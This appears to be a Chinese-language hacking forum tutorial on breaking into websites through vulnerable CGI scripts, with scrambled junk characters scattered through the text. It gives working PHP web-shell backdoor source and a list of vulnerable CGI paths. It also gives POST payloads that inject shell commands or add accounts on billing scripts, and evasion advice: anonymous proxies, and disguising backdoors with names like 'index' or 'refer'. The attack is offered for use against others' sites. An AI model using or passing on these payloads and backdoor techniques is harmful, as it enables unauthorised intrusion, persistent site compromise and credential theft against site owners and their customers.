CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
' N4 a: s" A7 s4 G" u大家好 我是bboyhip  只是一名菜菜的exploiter
% r7 q6 D/ q/ w: @很开心来到贵论坛
6 y# V9 m. B) d  y9 |9 }# m. S这里让我感觉 很有技术交流的感觉
# O( }4 A& ]# F; q我会长长来玩的
前言:
8 s& d$ k7 v  W. V( }& E以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
( b# i6 y6 d' }% n! {4 I, c我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

只是个人在实务上一些经验
写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手
7 O& \( A: Q& c; P/ M' G
; i1 i( E' u$ A% _4 _以下内容跟帖回复才能看到
==============================
. E/ z9 G6 o5 ^* E; Q5 k2 }
第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
8 r$ U9 J9 G- Q$ aA shell is the program which reads user input from the command line and executes actions based upon that input.
/ A. }9 c5 p, Q! D; d意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
如 /home/www/site.com/cgi-bin/
& S, M! h) d7 g* X! Nls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
, G3 T  l+ i7 z: G; w) l. k8 Zls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
4 ^8 O% C( o% W. _: ~1 lcat /etc/passwd: 显示 /etc/passwd 这个档案的内容
' s4 a, n2 ^+ k9 D% ?! \who: 显示谁login 至系统
" ?" n$ n& @1 vman: 显示指令用法  
man ls: 显示ls这指令的用法  
* V; k6 m( K. f+ f  Imkdir 建立目录
rmdir 删除目录
  m- q4 n0 k' x3 J+ lmv 移动档案
rm 删除档案
  ]0 _5 d! v) W" [
第3部份: Shell的使用
例如:
* S7 j+ |- X3 a; f. a' B+ ohttp://site.com/refer.php
这是我的後门, 原代码如下:
2 o. u4 e0 B% j% g; {<Form Action="#" Method="POST">
8 r1 l# I- _0 O, g  C<Input type="text" name="cmd">
, x$ Y. w2 Q: t5 m1 \: @# o<Input type="Submit">
1 M; h3 n* n. n5 c+ W, m  L</Form>
<?php
$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
. @" m" _2 @6 Mecho $Output;
?>
) x! g7 }7 `# _4 N" D; E  B0 Q输入pwd, 可得到绝对路径:
/ M: N: l+ C# G' f) _2 G( S) w/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

8 f' I. Z! r6 z! b5 Q8 U" f第4部份: 注意事项
  L3 W! L) K  y- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
/ Y9 _9 n7 y4 F- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
1 Q; \3 I+ M2 L5 f! V- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
* J& K1 W* ^* A% _" m6 l  Z$ x开始讲解脚本入侵过程:
/ k# c2 J0 X4 Z在这里提供一些方法思路让大家学习一下
$ u2 D" j% F& b4 }9 b3 U) s8 v
1.一开始对一个网站进行cgi漏洞扫描
  A! G9 ]5 C* K- I6 `. b我们需要的东西有
扫洞工具 如:triton..等等
6 |$ S# M* {9 Y- Q/ d$ t7 R2 _E表
9 |7 c7 N# i5 Q8 g! @. {$ @1 x如
+ d, C8 U. ]$ l; X  j/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
. a# O7 f. ?5 B8 `+ u2 W/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
/ r+ ], {: s+ AE表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
/ H. x9 m5 q; `( B( V: a一般都是在IE里先看一下的,记住这个返回码哦
ERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
+ r1 `1 F  f0 w, C1 e8 ^- f或是用抓包工具 抓他的语法...等等
2 T; j3 U* `5 B8 D) ^* n
0 h1 t+ a; D1 v, M9 Y以下我提供10个 cgi 洞以及使用方法post
  I9 g& t) K' g1 x0 h让大家可以针对网站去做扫描  
/index.cgi
' H/ D4 P7 X# Awei=ren&gen=command
0 z$ x7 Y* R) C/passmaster.cgi
Action=Add&Username=Username&Password=Password
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
) m# A+ K3 R  R) Y5 Z, w! @( ]/form.cgi
/ e/ m2 {/ G* Q* n! ]( mname=xxxx&email=email&subject=xxxx&response=|echo;ls|
7 I8 L" \4 Y( y6 \; G/addusr.pl
, g% C4 {2 m+ F  [8 t' A: }0 l/cgi-bin/EuroDebit/addusr.pl
, f* N  h2 x1 muser=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
3 ]. Z2 ~5 ?+ M( z4 \3 [, Jpinfile=|echo;ls -la;exit|
# ]0 [* K3 n% \" Y/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
: m, y8 {7 r, z$ tvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|

% B6 ~1 k% A% X3 P; S6 d: V今天就讲到这  感谢大家支持